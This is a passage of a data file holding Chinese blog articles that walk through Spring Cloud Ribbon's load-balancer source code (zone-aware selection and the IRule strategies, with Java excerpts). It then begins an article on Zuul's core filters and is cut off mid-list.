super.setServersList(lsrv);\n    List<T> serverList = (List<T>) lsrv;\n    Map<String, List<Server>> serversInZones = new HashMap<String, List<Server>>();\n    ...\n    setServerListForZones(serversInZones);\n}\n\nprotected void setServerListForZones(Map<String, List<Server>> zoneServersMap) {\n    LOGGER.debug(\"Setting server list for zones: {}\", zoneServersMap);\n    getLoadBalancerStats().updateZoneServerMapping(zoneServersMap);\n}\n```\n\n`setServerListForZones`函数的调用位于更新服务实例清单函数`setServersList`的最后，同时从其实现内容来看，它在父类`DynamicServerListLoadBalancer`中的作用是根据按区域Zone分组的实例列表，为负载均衡器中的`LoadBalancerStats`对象创建`ZoneStats`并放入`Map zoneStatsMap`集合中，每一个区域Zone会对应一个`ZoneStats`，它用于存储每个Zone的一些状态和统计信息。\n\n在`ZoneAwareLoadBalancer`中对`setServerListForZones`的重写如下：\n\n```\nprotected void setServerListForZones(Map<String, List<Server>> zoneServersMap) {\n    super.setServerListForZones(zoneServersMap);\n    if (balancers == null) {\n        balancers = new ConcurrentHashMap<String, BaseLoadBalancer>();\n    }\n    for (Map.Entry<String, List<Server>> entry: zoneServersMap.entrySet()) {\n        String zone = entry.getKey().toLowerCase();\n        getLoadBalancer(zone).setServersList(entry.getValue());\n    }\n    for (Map.Entry<String, BaseLoadBalancer> existingLBEntry: balancers.entrySet()) {\n        if (!zoneServersMap.keySet().contains(existingLBEntry.getKey())) {\n            existingLBEntry.getValue().setServersList(Collections.emptyList());\n        }\n    }\n}\n```\n\n可以看到，在该实现中创建了一个`ConcurrentHashMap()`类型的`balancers`对象，它将用来存储每个Zone区域对应的负载均衡器，而具体的负载均衡器的创建则是通过下面的第一个循环中调用`getLoadBalancer`函数来完成，同时在创建负载均衡器的时候会创建它的规则（如果当前实现中没有`IRULE`的实例，就创建一个`AvailabilityFilteringRule`规则；如果已经有具体实例，就clone一个），在创建完负载均衡器后又马上调用`setServersList`函数为其设置对应Zone区域的实例清单。而第二个循环则是对Zone区域中实例清单的检查，看看是否有Zone区域下已经没有实例了，是的话就将`balancers`中对应Zone区域的实例列表清空，该操作的作用是为了后续选择节点时，防止过时的Zone区域统计信息干扰具体实例的选择算法。\n\n在了解了该负载均衡器是如何扩展服务实例清单的实现后，我们来具体看看它是如何挑选服务实例，来实现对区域的识别的：\n\n```\npublic Server chooseServer(Object key) {\n    if (!ENABLED.get() || getLoadBalancerStats().getAvailableZones().size() <= 1) {\n        logger.debug(\"Zone aware logic disabled or there is only one zone\");\n        return super.chooseServer(key);\n    }\n    Server server = null;\n    try {\n        LoadBalancerStats lbStats = getLoadBalancerStats();\n        Map<String, ZoneSnapshot> zoneSnapshot = ZoneAvoidanceRule.createSnapshot(lbStats);\n        logger.debug(\"Zone snapshots: {}\", zoneSnapshot);\n        ...\n        Set<String> availableZones = ZoneAvoidanceRule.getAvailableZones(zoneSnapshot, triggeringLoad.get(), triggeringBlackoutPercentage.get());\n        logger.debug(\"Available zones: {}\", availableZones);\n        if (availableZones != null &&  availableZones.size() < zoneSnapshot.keySet().size()) {\n            String zone = ZoneAvoidanceRule.randomChooseZone(zoneSnapshot, availableZones);\n            logger.debug(\"Zone chosen: {}\", zone);\n            if (zone != null) {\n                BaseLoadBalancer zoneLoadBalancer = getLoadBalancer(zone);\n                server = zoneLoadBalancer.chooseServer(key);\n            }\n        }\n    } catch (Throwable e) {\n        logger.error(\"Unexpected exception when choosing server using zone aware logic\", e);\n    }\n    if (server != null) {\n        return server;\n    } else {\n        logger.debug(\"Zone avoidance logic is not invoked.\");\n        return super.chooseServer(key);\n    }\n}\n```\n\n从源码中我们可以看到，只有当负载均衡器中维护的实例所属Zone区域个数大于1的时候才会执行这里的选择策略，否则还是将使用父类的实现。当Zone区域个数大于1个的时候，它的实现步骤主要如下：\n\n- 调用`ZoneAvoidanceRule`中的静态方法`createSnapshot(lbStats)`，为当前负载均衡器中所有的Zone区域分别创建快照，保存在`Map zoneSnapshot`中，这些快照中的数据将用于后续的算法。\n\n- 调用\n\n  ```\n  ZoneAvoidanceRule\n  ```\n\n  中的静态方法\n\n  ```\n  getAvailableZones(zoneSnapshot, triggeringLoad.get(), triggeringBlackoutPercentage.get())\n  ```\n\n  ，来获取可用的Zone区域集合，在该函数中会通过Zone区域快照中的统计数据来实现可用区的挑选。\n\n  - 首先它会剔除符合这些规则的Zone区域：所属实例数为零的Zone区域；Zone区域内实例平均负载小于零，或者实例故障率（断路器断开次数/实例数）大于等于阈值（默认为0.99999）。\n  - 然后根据Zone区域的实例平均负载来计算出最差的Zone区域，这里的最差指的是实例平均负载最高的Zone区域。\n  - 如果在上面的过程中没有符合剔除要求的区域，同时实例最大平均负载小于阈值（默认为20%），就直接返回所有Zone区域为可用区域。否则，从最坏Zone区域集合中随机的选择一个，将它从可用Zone区域集合中剔除。\n\n- 当获得的可用Zone区域集合不为空，并且个数小于Zone区域总数，就随机的选择一个Zone区域。\n\n- 在确定了某个Zone区域后，则获取对应Zone区域的服务均衡器，并调用`chooseServer`来选择具体的服务实例，而在`chooseServer`中将使用`IRule`接口的`choose`函数来选择具体的服务实例。在这里`IRule`接口的实现会使用`ZoneAvoidanceRule`来挑选出具体的服务实例。\n\n## 负载均衡策略\n\n通过上面的源码解读，我们已经对Ribbon实现的负载均衡器以及其中包含的服务实例过滤器、服务实例信息的存储对象、区域的信息快照等都有了深入的认识和理解，但是对于负载均衡器中的服务实例选择策略只是讲解了几个默认实现的内容，而对于`IRule`的其他实现还没有详细的解读，下面我们来看看在Ribbon中共提供了那些负载均衡的策略实现。\n\n[![img](https://blog.didispace.com/assets/ribbon-code-5.png)](https://blog.didispace.com/assets/ribbon-code-5.png)\n\n如上图所示，我们可以看到在Ribbon中实现了非常多的选择策略，其中也包含了我们在前面内容中提到过的：`RoundRobinRule`和`ZoneAvoidanceRule`。下面我们来详细的解读一下`IRule`接口的各个实现。\n\n### AbstractLoadBalancerRule\n\n负载均衡策略的抽象类，在该抽象类中定义了负载均衡器`ILoadBalancer`对象，该对象能够在具体实现选择服务策略时，获取到一些负载均衡器中维护的信息来作为分配依据，并以此设计一些算法来实现针对特定场景的高效策略。\n\n```\npublic abstract class AbstractLoadBalancerRule implements IRule, IClientConfigAware {\n\n    private ILoadBalancer lb;\n\n    @Override\n    public void setLoadBalancer(ILoadBalancer lb){\n        this.lb = lb;\n    }\n\n    @Override\n    public ILoadBalancer getLoadBalancer(){\n        return lb;\n    }\n}\n```\n\n### RandomRule\n\n该策略实现了从服务实例清单中随机选择一个服务实例的功能。它的具体实现如下，可以看到`IRule`接口的`choose(Object key)`函数实现，委托给了该类中的`choose(ILoadBalancer lb, Object key)`，该方法增加了一个负载均衡器对象的参数。从具体的实现上看，它会使用传入的负载均衡器来获得可用实例列表`upList`和所有实例列表`allList`，并通过`rand.nextInt(serverCount)`函数来获取一个随机数，并将该随机数作为upList的索引值来返回具体实例。同时，具体的选择逻辑在一个`while (server == null)`循环之内，而根据选择逻辑的实现，正常情况下每次选择都应该能够选出一个服务实例，如果出现死循环获取不到服务实例时，则很有可能存在并发的Bug。\n\n```\n@Override\npublic Server choose(Object key) {\n\treturn choose(getLoadBalancer(), key);\n}\n\npublic Server choose(ILoadBalancer lb, Object key) {\n\t...\n\tServer server = null;\n\twhile (server == null) {\n        if (Thread.interrupted()) {\n            return null;\n        }\n        List<Server> upList = lb.getReachableServers();\n        List<Server> allList = lb.getAllServers();\n        int serverCount = allList.size();\n        if (serverCount == 0) {\n            return null;\n        }\n        int index = rand.nextInt(serverCount);\n        server = upList.get(index);\n\t\tif (server == null) {\n            Thread.yield();\n            continue;\n        }\n        if (server.isAlive()) {\n            return (server);\n        }\n\t    server = null;\n        Thread.yield();\n    }\n    return server;\n}\n```\n\n### RoundRobinRule\n\n该策略实现了按照线性轮询的方式依次选择每个服务实例的功能。它的具体实现如下，其详细结构与`RandomRule`非常类似。除了循环条件不同外，就是从可用列表中获取所谓的逻辑不同。从循环条件中，我们可以看到增加了一个`count`计数变量，该变量会在每次循环之后累加，也就是说如果一直选择不到server超过10次，那么就会结束尝试，并打印一个警告信息`No available alive servers after 10 tries from load balancer: ...`。而线性轮询的实现则是通过`AtomicInteger nextServerCyclicCounter`对象实现，每次进行实例选择时通过调用`incrementAndGetModulo`函数实现递增。\n\n```\npublic Server choose(ILoadBalancer lb, Object key) {\n    ...\n    Server server = null;\n    int count = 0;\n    while (server == null && count++ < 10) {\n        List<Server> reachableServers = lb.getReachableServers();\n        List<Server> allServers = lb.getAllServers();\n        int upCount = reachableServers.size();\n        int serverCount = allServers.size();\n        if ((upCount == 0) || (serverCount == 0)) {\n            log.warn(\"No up servers available from load balancer: \" + lb);\n            return null;\n        }\n        int nextServerIndex = incrementAndGetModulo(serverCount);\n        server = allServers.get(nextServerIndex);\n        if (server == null) {\n            Thread.yield();\n            continue;\n        }\n        if (server.isAlive() && (server.isReadyToServe())) {\n            return (server);\n        }\n        server = null;\n    }\n    if (count >= 10) {\n        log.warn(\"No available alive servers after 10 tries from load balancer: \"\n                + lb);\n    }\n    return server;\n}\n```\n\n### RetryRule\n\n该策略实现了一个具备重试机制的实例选择功能。从下面的实现中我们可以看到，在其内部还定义了一个`IRule`对象，默认使用了`RoundRobinRule`实例。而在`choose`方法中的则实现了对内部定义的策略进行反复尝试的策略，若期间能够选择到具体的服务实例就返回，若选择不到就根据设置的尝试结束时间为阈值（`maxRetryMillis`参数定义的值 + `choose`方法开始执行的时间戳），当超过该阈值后就返回null。\n\n```\npublic class RetryRule extends AbstractLoadBalancerRule {\n\tIRule subRule = new RoundRobinRule();\n\tlong maxRetryMillis = 500;\n\t...\n\tpublic Server choose(ILoadBalancer lb, Object key) {\n\t\tlong requestTime = System.currentTimeMillis();\n\t\tlong deadline = requestTime + maxRetryMillis;\n\t\tServer answer = null;\n\t\tanswer = subRule.choose(key);\n\t\tif (((answer == null) || (!answer.isAlive()))\n\t\t\t\t&& (System.currentTimeMillis() < deadline)) {\n\t\t\tInterruptTask task = new InterruptTask(deadline\n\t\t\t\t\t- System.currentTimeMillis());\n\t\t\twhile (!Thread.interrupted()) {\n\t\t\t\tanswer = subRule.choose(key);\n\t\t\t\tif (((answer == null) || (!answer.isAlive()))\n\t\t\t\t\t\t&& (System.currentTimeMillis() < deadline)) {\n\t\t\t\t\tThread.yield();\n\t\t\t\t} else {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\ttask.cancel();\n\t\t}\n\t\tif ((answer == null) || (!answer.isAlive())) {\n\t\t\treturn null;\n\t\t} else {\n\t\t\treturn answer;\n\t\t}\n\t}\n\t...\n}\n```\n\n### WeightedResponseTimeRule\n\n该策略是对`RoundRobinRule`的扩展，增加了根据实例的运行情况来计算权重，并根据权重来挑选实例，以达到更优的分配效果，它的实现主要有三个核心内容：\n\n#### 定时任务\n\n`WeightedResponseTimeRule`策略在初始化的时候会通过`serverWeightTimer.schedule(new DynamicServerWeightTask(), 0, serverWeightTaskTimerInterval)`启动一个定时任务，用来为每个服务实例计算权重，该任务默认30秒执行一次。\n\n```\nclass DynamicServerWeightTask extends TimerTask {\n    public void run() {\n        ServerWeight serverWeight = new ServerWeight();\n        try {\n            serverWeight.maintainWeights();\n        } catch (Throwable t) {\n            logger.error(\"Throwable caught while running DynamicServerWeightTask for \" + name, t);\n        }\n    }\n}\n```\n\n#### 权重计算\n\n在源码中我们可以轻松找到用于存储权重的对象：`List accumulatedWeights = new ArrayList()`，该List中每个权重值所处的位置对应了负载均衡器维护的服务实例清单中所有实例在清单中的位置。\n\n维护实例权重的计算过程通过`maintainWeights`函数实现，具体如下源码所示：\n\n```\npublic void maintainWeights() {\n    ILoadBalancer lb = getLoadBalancer();\n\t...\n    try {\n        logger.info(\"Weight adjusting job started\");\n        AbstractLoadBalancer nlb = (AbstractLoadBalancer) lb;\n        LoadBalancerStats stats = nlb.getLoadBalancerStats();\n\t\t...\n\t\t// 计算所有实例的平均响应时间的总和：totalResponseTime\n        double totalResponseTime = 0;\n        for (Server server : nlb.getAllServers()) {\n            // this will automatically load the stats if not in cache\n            ServerStats ss = stats.getSingleServerStat(server);\n            totalResponseTime += ss.getResponseTimeAvg();\n        }\n\t\t// 逐个计算每个实例的权重：weightSoFar + totalResponseTime - 实例的平均响应时间\n        Double weightSoFar = 0.0;\n        List<Double> finalWeights = new ArrayList<Double>();\n        for (Server server : nlb.getAllServers()) {\n            ServerStats ss = stats.getSingleServerStat(server);\n            double weight = totalResponseTime - ss.getResponseTimeAvg();\n            weightSoFar += weight;\n            finalWeights.add(weightSoFar);\n        }\n        setWeights(finalWeights);\n    } catch (Throwable t) {\n        logger.error(\"Exception while dynamically calculating server weights\", t);\n    } finally {\n        serverWeightAssignmentInProgress.set(false);\n    }\n}\n```\n\n该函数的实现主要分为两个步骤：\n\n- 根据`LoadBalancerStats`中记录的每个实例的统计信息，累加所有实例的平均响应时间，得到总平均响应时间`totalResponseTime`，该值会用于后续的计算。\n- 为负载均衡器中维护的实例清单逐个计算权重（从第一个开始），计算规则为：`weightSoFar + totalResponseTime - 实例的平均响应时间`，其中`weightSoFar`初始化为零，并且每计算好一个权重需要累加到`weightSoFar`上供下一次计算使用。`totalResponseTime`则的上计算结果。\n\n举个简单的例子来理解这个计算过程：假设有4个实例A、B、C、D，他们的平均响应时间为：10、40、80、100，所以总响应时间是10 + 40 + 80 + 100 = 230，每个实例的权重为总响应时间与实例自身的平均响应时间的差的累积获得，所以实例A、B、C、D的权重分别为：\n\n- 实例A：230 - 10 = 220\n- 实例B：220 + （230 - 40）= 410\n- 实例C：410 + （230 - 80）= 560\n- 实例D：560 + （230 - 100）= 690\n\n需要注意的是，这里的权重值只是表示了各实例权重区间的上限，并非某个实例的优先级，所以不是数值越大被选中的概率就越大。那么什么是权重区间呢？以上面例子的计算结果为例，它实际上是为这4个实例构建了4个不同的区间，每个实例的区间下限是上一个实例的区间上限，而每个实例的区间上限则是我们上面计算并存储于`List accumulatedWeights`中的权重值，其中第一个实例的下限默认为零。所以，根据上面示例的权重计算结果，我们可以得到每个实例的权重区间：\n\n- 实例A：[0, 220]\n- 实例B：(220, 410]\n- 实例C：(410, 560]\n- 实例D：(560，690)\n\n我们不难发现，实际上每个区间的宽度就是：总的平均响应时间 - 实例的平均响应时间，所以实例的平均响应时间越短、权重区间的宽度越大，而权重区间的宽度越大被选中的概率就越高。可能很多读者会问，这些区间边界的开闭是如何确定的呢？为什么不那么规则？下面我们会通过`实例选择`算法的解读来解释。\n\n#### 实例选择\n\n`WeightedResponseTimeRule`选择实例的实现与之前介绍的算法结构类似，下面是它主体的算法（省略了循环体和一些判断等处理）：\n\n```\npublic Server choose(ILoadBalancer lb, Object key) {\n\t...\n        List<Double> currentWeights = accumulatedWeights;\n\t\t...\n        List<Server> allList = lb.getAllServers();\n        int serverCount = allList.size();\n        if (serverCount == 0) {\n            return null;\n        }\n        int serverIndex = 0;\n        // 获取最后一个实例的权重\n        double maxTotalWeight = currentWeights.size() == 0 ? 0 : currentWeights.get(currentWeights.size() - 1);\n\t\tif (maxTotalWeight < 0.001d) {\n        \t// 如果最后一个实例的权重值小于0.001，则采用父类实现的线性轮询的策略\n            server =  super.choose(getLoadBalancer(), key);\n            if(server == null) {\n                return server;\n            }\n        } else {\n        \t// 如果最后一个实例的权重值大于等于0.001，就产生一个[0, maxTotalWeight)的随机数\n            double randomWeight = random.nextDouble() * maxTotalWeight;\n            int n = 0;\n            for (Double d : currentWeights) {\t// 遍历维护的权重清单，若权重大于等于随机得到的数值，就选择这个实例\n                if (d >= randomWeight) {\n                    serverIndex = n;\n                    break;\n                } else {\n                    n++;\n                }\n            }\n            server = allList.get(serverIndex);\n        }\n\t...\n    return server;\n}\n```\n\n从源码中，我们可以看到，选择实例的核心过程就两步：\n\n- 生产一个`[0, 最大权重值)`区间内的随机数。\n- 遍历权重列表，比较权重值与随机数的大小，如果权重值大于等于随机数，就拿当前权重列表的索引值去服务实例列表中获取具体实例。这就是在上一节中提到的服务实例会根据权重区间挑选的原理，而权重区间边界的开闭原则根据算法，正常应该每个区间为`(x, y]`的形式，但是第一个实例和最后一个实例为什么不同呢？由于随机数的最小取值可以为`0`，所以第一个实例的下限是闭区间，同时随机数的最大值取不到最大权重值，所以最后一个实例的上限是开区间。\n\n若继续以上面的数据为例，进行服务实例的选择，则该方法会从`[0, 690)`区间中选出一个随机数，比如选出的随机数为230，由于该值位于第二个区间，所以此时就会选择实例B来进行请求。\n\n##### ClientConfigEnabledRoundRobinRule\n\n该策略较为特殊，我们一般不直接使用它。因为它本身并没有实现什么特殊的处理逻辑，正如下面的源码所示，在它的内部定义了一个`RoundRobinRule`策略，而`choose`函数的实现也正是使用了`RoundRobinRule`的线性轮询机制，所以它实现的功能实际上与`RoundRobinRule`相同，那么定义它有什么特殊的用处呢？\n\n虽然我们不会直接使用该策略，但是通过继承该策略，那么默认的`choose`就实现了线性轮询机制，在子类中做一些高级策略时通常都有可能会存在一些无法实施的情况，那么就可以通过父类的实现作为备选。在后文中我们将继续介绍的高级策略均是基于`ClientConfigEnabledRoundRobinRule`的扩展。\n\n```\npublic class ClientConfigEnabledRoundRobinRule extends AbstractLoadBalancerRule {\n\n    RoundRobinRule roundRobinRule = new RoundRobinRule();\n\t...\n    @Override\n    public Server choose(Object key) {\n        if (roundRobinRule != null) {\n            return roundRobinRule.choose(key);\n        } else {\n            throw new IllegalArgumentException(\n                    \"This class has not been initialized with the RoundRobinRule class\");\n        }\n    }\n}\n```\n\n### BestAvailableRule\n\n该策略继承自`ClientConfigEnabledRoundRobinRule`，在实现中它注入了负载均衡器的统计对象：`LoadBalancerStats`，同时在具体的`choose`算法中利用`LoadBalancerStats`保存的实例统计信息来选择满足要求的实例。从如下源码中我们可以看到，它通过遍历负载均衡器中维护的所有服务实例，会过滤掉故障的实例，并找出并发请求数最小的一个，所以该策略的特性是选出最空闲的实例。\n\n```\npublic Server choose(Object key) {\n    if (loadBalancerStats == null) {\n        return super.choose(key);\n    }\n    List<Server> serverList = getLoadBalancer().getAllServers();\n    int minimalConcurrentConnections = Integer.MAX_VALUE;\n    long currentTime = System.currentTimeMillis();\n    Server chosen = null;\n    for (Server server: serverList) {\n        ServerStats serverStats = loadBalancerStats.getSingleServerStat(server);\n        if (!serverStats.isCircuitBreakerTripped(currentTime)) {\n            int concurrentConnections = serverStats.getActiveRequestsCount(currentTime);\n            if (concurrentConnections < minimalConcurrentConnections) {\n                minimalConcurrentConnections = concurrentConnections;\n                chosen = server;\n            }\n        }\n    }\n    if (chosen == null) {\n        return super.choose(key);\n    } else {\n        return chosen;\n    }\n}\n```\n\n同时，由于该算法的核心依据是统计对象`loadBalancerStats`，当其为空的时候，该策略是无法执行的。所以从源码中我们可以看到，当`loadBalancerStats`为空的时候，它会采用父类的线性轮询策略，正如我们在介绍`ClientConfigEnabledRoundRobinRule`时那样，它的子类在无法满足实现高级策略时候，可以使用线性轮询策略的特性。后面将要介绍的策略因为也都继承自`ClientConfigEnabledRoundRobinRule`，所以他们都会具有这样的特性。\n\n##### PredicateBasedRule\n\n这是一个抽象策略，它也继承了`ClientConfigEnabledRoundRobinRule`，从其命名中可以猜出他是一个基于`Predicate`实现的策略，`Predicate`是Google Guava Collection工具对集合进行过滤的条件接口。\n\n如下源码所示，它定义了一个抽象函数`getPredicate`来获取`AbstractServerPredicate`对象的实现，而在`choose`函数中，通过`AbstractServerPredicate`的`chooseRoundRobinAfterFiltering`函数来选出具体的服务实例。从该函数的命名我们也大致能猜出它的基础逻辑：先通过子类中实现的`Predicate`逻辑来过滤一部分服务实例，然后再以线性轮询的方式从过滤后的实例清单中选出一个。\n\n```\npublic abstract class PredicateBasedRule extends ClientConfigEnabledRoundRobinRule {\n\n    public abstract AbstractServerPredicate getPredicate();\n\n    @Override\n    public Server choose(Object key) {\n        ILoadBalancer lb = getLoadBalancer();\n        Optional<Server> server = getPredicate().chooseRoundRobinAfterFiltering(lb.getAllServers(), key);\n        if (server.isPresent()) {\n            return server.get();\n        } else {\n            return null;\n        }\n    }\n}\n```\n\n通过下面`AbstractServerPredicate`的源码片段，可以证实我们上面所做的猜测。在上面`choose`函数中调用的`chooseRoundRobinAfterFiltering`方法先通过内部定义的`getEligibleServers`函数来获取备选的实例清单（实现了过滤），如果返回的清单为空，则用`Optional.absent()`来表示不存在，反之则以线性轮询的方式从备选清单中获取一个实例。\n\n```\npublic abstract class AbstractServerPredicate implements Predicate<PredicateKey> {\n\n    ...\n\n    public Optional<Server> chooseRoundRobinAfterFiltering(List<Server> servers, Object loadBalancerKey) {\n        List<Server> eligible = getEligibleServers(servers, loadBalancerKey);\n        if (eligible.size() == 0) {\n            return Optional.absent();\n        }\n        return Optional.of(eligible.get(nextIndex.getAndIncrement() % eligible.size()));\n    }\n\n    public List<Server> getEligibleServers(List<Server> servers, Object loadBalancerKey) {\n        if (loadBalancerKey == null) {\n            return ImmutableList.copyOf(Iterables.filter(servers, this.getServerOnlyPredicate()));\n        } else {\n            List<Server> results = Lists.newArrayList();\n            for (Server server: servers) {\n                if (this.apply(new PredicateKey(loadBalancerKey, server))) {\n                    results.add(server);\n                }\n            }\n            return results;\n        }\n    }\n}\n```\n\n在了解了整体逻辑之后，我们来详细看看实现过滤功能的`getEligibleServers`函数。从源码上看，它的实现结构非常简单清晰，通过遍历服务清单，使用`this.apply`方法来判断实例是否需要保留，是就添加到结果列表中。\n\n可能到这里，不熟悉Google Guava Collections集合工具的读者会比较困惑，这个`apply`在`AbstractServerPredicate`中并找不到它的定义，那么它是如何实现过滤的呢？实际上，`AbstractServerPredicate`实现了`com.google.common.base.Predicate`接口，而`apply`方法是该接口中的定义，主要用来实现过滤条件的判断逻辑，它输入的参数则是过滤条件需要用到的一些信息（比如源码中的`new PredicateKey(loadBalancerKey, server))`，它传入了关于实例的统计信息和负载均衡器的选择算法传递过来的key）。既然在`AbstractServerPredicate`中我们未能找到`apply`的实现，所以这里的`chooseRoundRobinAfterFiltering`函数只是定义了一个模板策略：“先过滤清单，再轮询选择”。对于如何过滤，则需要我们在`AbstractServerPredicate`的子类去实现`apply`方法来确定具体的过滤策略了。\n\n后面我们将要介绍的两个策略就是基于此抽象策略实现，只是它们使用了不同的`Predicate`实现来完成过滤逻辑以达到不同的实例选择效果。\n\n> Google Guava Collections是一个对Java Collections Framework增强和扩展的一个开源项目。虽然Java Collections Framework已经能够 满足了我们大多数情况下使用集合的要求，但是当遇到一些特殊的情况我们的代码会比较冗长且容易出错。Guava Collections 可以帮助我们的让集合操作代码更为简短精炼并大大增强代码的可读性。\n\n### AvailabilityFilteringRule\n\n该策略继承自上面介绍的抽象策略`PredicateBasedRule`，所以它也继承了“先过滤清单，再轮询选择”的基本处理逻辑，其中过滤条件使用了`AvailabilityPredicate`：\n\n```\npublic class AvailabilityPredicate extends  AbstractServerPredicate {\n\n    ...\n\n    public boolean apply(@Nullable PredicateKey input) {\n        LoadBalancerStats stats = getLBStats();\n        if (stats == null) {\n            return true;\n        }\n        return !shouldSkipServer(stats.getSingleServerStat(input.getServer()));\n    }\n\n    private boolean shouldSkipServer(ServerStats stats) {\n        if ((CIRCUIT_BREAKER_FILTERING.get() && stats.isCircuitBreakerTripped())\n                || stats.getActiveRequestsCount() >= activeConnectionsLimit.get()) {\n            return true;\n        }\n        return false;\n    }\n}\n```\n\n从上述源码中，我们可以知道它的主要过滤逻辑位于`shouldSkipServer`方法中，它主要判断服务实例的两项内容：\n\n- 是否故障，即断路器是否生效已断开\n- 实例的并发请求数大于阈值，默认值为$2^{31}$ - 1，该配置我们可通过参数`..ActiveConnectionsLimit`来修改\n  其中只要有一个满足`apply`就返回false（代表该节点可能存在故障或负载过高），都不满足就返回true。\n\n在该策略中，除了实现了上面的过滤方法之外，对于`choose`的策略也做了一些改进优化，所以父类的实现对于它来说只是一个备用选项，其具体实现如下：\n\n```\npublic Server choose(Object key) {\n    int count = 0;\n    Server server = roundRobinRule.choose(key);\n    while (count++ <= 10) {\n        if (predicate.apply(new PredicateKey(server))) {\n            return server;\n        }\n        server = roundRobinRule.choose(key);\n    }\n    return super.choose(key);\n}\n```\n\n可以看到，它并没有像父类中那样，先遍历所有的节点进行过滤，然后在过滤后的集合中选择实例。而是先线性的方式选择一个实例，接着用过滤条件来判断该实例是否满足要求，若满足就直接使用该实例，若不满足要求就再选择下一个实例，并检查是否满足要求，如此循环进行，当这个过程重复了10次还是没有找到符合要求的实例，就采用父类的实现方案。\n\n简单的说，该策略通过线性抽样的方式直接尝试寻找可用且较空闲的实例来使用，优化了父类每次都要遍历所有实例的开销。\n\n### ZoneAvoidanceRule\n\n该策略我们在介绍负载均衡器`ZoneAwareLoadBalancer`时已经提到过了，它也是`PredicateBasedRule`的具体实现类。在之前的介绍中主要针对`ZoneAvoidanceRule`中用于选择Zone区域策略的一些静态函数，比如：`createSnapshot`、`getAvailableZones`。在这里我们将详细的看看`ZoneAvoidanceRule`作为服务实例过滤条件的实现原理。从下面`ZoneAvoidanceRule`的源码片段中我们可以看到，它使用了`CompositePredicate`来进行服务实例清单的过滤。这是一个组合过滤条件，在其构造函数中，它以`ZoneAvoidancePredicate`为主过滤条件，`AvailabilityPredicate`为次过滤条件初始化了组合过滤条件的实例。\n\n```\npublic class ZoneAvoidanceRule extends PredicateBasedRule {\n\n    ...\n    private CompositePredicate compositePredicate;\n\n    public ZoneAvoidanceRule() {\n        super();\n        ZoneAvoidancePredicate zonePredicate = new ZoneAvoidancePredicate(this);\n        AvailabilityPredicate availabilityPredicate = new AvailabilityPredicate(this);\n        compositePredicate = createCompositePredicate(zonePredicate, availabilityPredicate);\n    }\n    ...\n}\n```\n\n`ZoneAvoidanceRule`在实现的时候并没有像`AvailabilityFilteringRule`那样重写`choose`函数来优化，所以它完全遵循了父类的过滤主逻辑：“先过滤清单，再轮询选择”。其中过滤清单的条件就是我们上面提到的以`ZoneAvoidancePredicate`为主过滤条件、`AvailabilityPredicate`为次过滤条件的组合过滤条件`CompositePredicate`。从`CompositePredicate`的源码片段中，我们可以看到它定义了一个主过滤条件`AbstractServerPredicate delegate`以及一组次过滤条件列表`List fallbacks`，所以它的次过滤列表是可以拥有多个的，并且由于它采用了List存储所以次过滤条件是按顺序执行的。\n\n```\npublic class CompositePredicate extends AbstractServerPredicate {\n\n    private AbstractServerPredicate delegate;\n    private List<AbstractServerPredicate> fallbacks = Lists.newArrayList();\n\n    private int minimalFilteredServers = 1;\n    private float minimalFilteredPercentage = 0;\n\n    @Override\n    public List<Server> getEligibleServers(List<Server> servers, Object loadBalancerKey) {\n        List<Server> result = super.getEligibleServers(servers, loadBalancerKey);\n        Iterator<AbstractServerPredicate> i = fallbacks.iterator();\n        while (!(result.size() >= minimalFilteredServers && result.size() > (int) (servers.size() * minimalFilteredPercentage))\n                && i.hasNext()) {\n            AbstractServerPredicate predicate = i.next();\n            result = predicate.getEligibleServers(servers, loadBalancerKey);\n        }\n        return result;\n    }\n\n}\n```\n\n再来看看获取过滤结果的实现函数`getEligibleServers`中，它的处理逻辑如下：\n\n- 使用主过滤条件对所有实例过滤并返回过滤后的实例清单\n- 依次使用次过滤条件列表中的过滤条件对主过滤条件的结果进行过滤\n- 每次过滤之后（包括主过滤条件和次过滤条件），都需要判断下面两个条件，只要有一个符合就不再进行过滤，将当前结果返回供线性轮询算法选择：\n  - 过滤后的实例总数 >= 最小过滤实例数（minimalFilteredServers，默认为1）\n  - 过滤后的实例比例 > 最小过滤百分比（minimalFilteredPercentage，默认为0）"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud源码分析（四）Zuul：核心过滤器.md",
    "content": "# Spring Cloud源码分析（四）Zuul：核心过滤器\n\n**原创**\n\n [2017-05-02](https://blog.didispace.com/spring-cloud-source-zuul/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n通过之前发布的[《Spring Cloud构建微服务架构（五）服务网关》](http://blog.didispace.com/springcloud5/)一文，相信大家对于Spring Cloud Zuul已经有了一个基础的认识。通过前文的介绍，我们对于Zuul的第一印象通常是这样的：它包含了对请求的路由和过滤两个功能，其中路由功能负责将外部请求转发到具体的微服务实例上，是实现外部访问统一入口的基础；而过滤器功能则负责对请求的处理过程进行干预，是实现请求校验、服务聚合等功能的基础。然而实际上，路由功能在真正运行时，它的路由映射和请求转发都是由几个不同的过滤器完成的。其中，路由映射主要通过pre类型的过滤器完成，它将请求路径与配置的路由规则进行匹配，以找到需要转发的目标地址；而请求转发的部分则是由route类型的过滤器来完成，对pre类型过滤器获得的路由地址进行转发。所以，过滤器可以说是Zuul实现API网关功能最为核心的部件，每一个进入Zuul的HTTP请求都会经过一系列的过滤器处理链得到请求响应并返回给客户端。\n\n下面，我们就通过本文来详细了解一下Spring Cloud Zuul的过滤器！以下内容节选自《Spring Cloud微服务实战》，稍做加工。\n\n## 过滤器\n\n在Spring Cloud Zuul中实现的过滤器必须包含4个基本特征：过滤类型、执行顺序、执行条件、具体操作。这些元素看着似乎非常的熟悉，实际上它就是ZuulFilter接口中定义的四个抽象方法：\n\n```\nString filterType();\n    \nint filterOrder();\n    \nboolean shouldFilter();\n    \nObject run();\n```\n\n它们各自的含义与功能总结如下：\n\n- filterType：该函数需要返回一个字符串来代表过滤器的类型，而这个类型就是在HTTP请求过程中定义的各个阶段。在Zuul中默认定义了四种不同生命周期的过滤器类型，具体如下：\n  - pre：可以在请求被路由之前调用。\n  - routing：在路由请求时候被调用。\n  - post：在routing和error过滤器之后被调用。\n  - error：处理请求时发生错误时被调用。\n- filterOrder：通过int值来定义过滤器的执行顺序，数值越小优先级越高。\n- 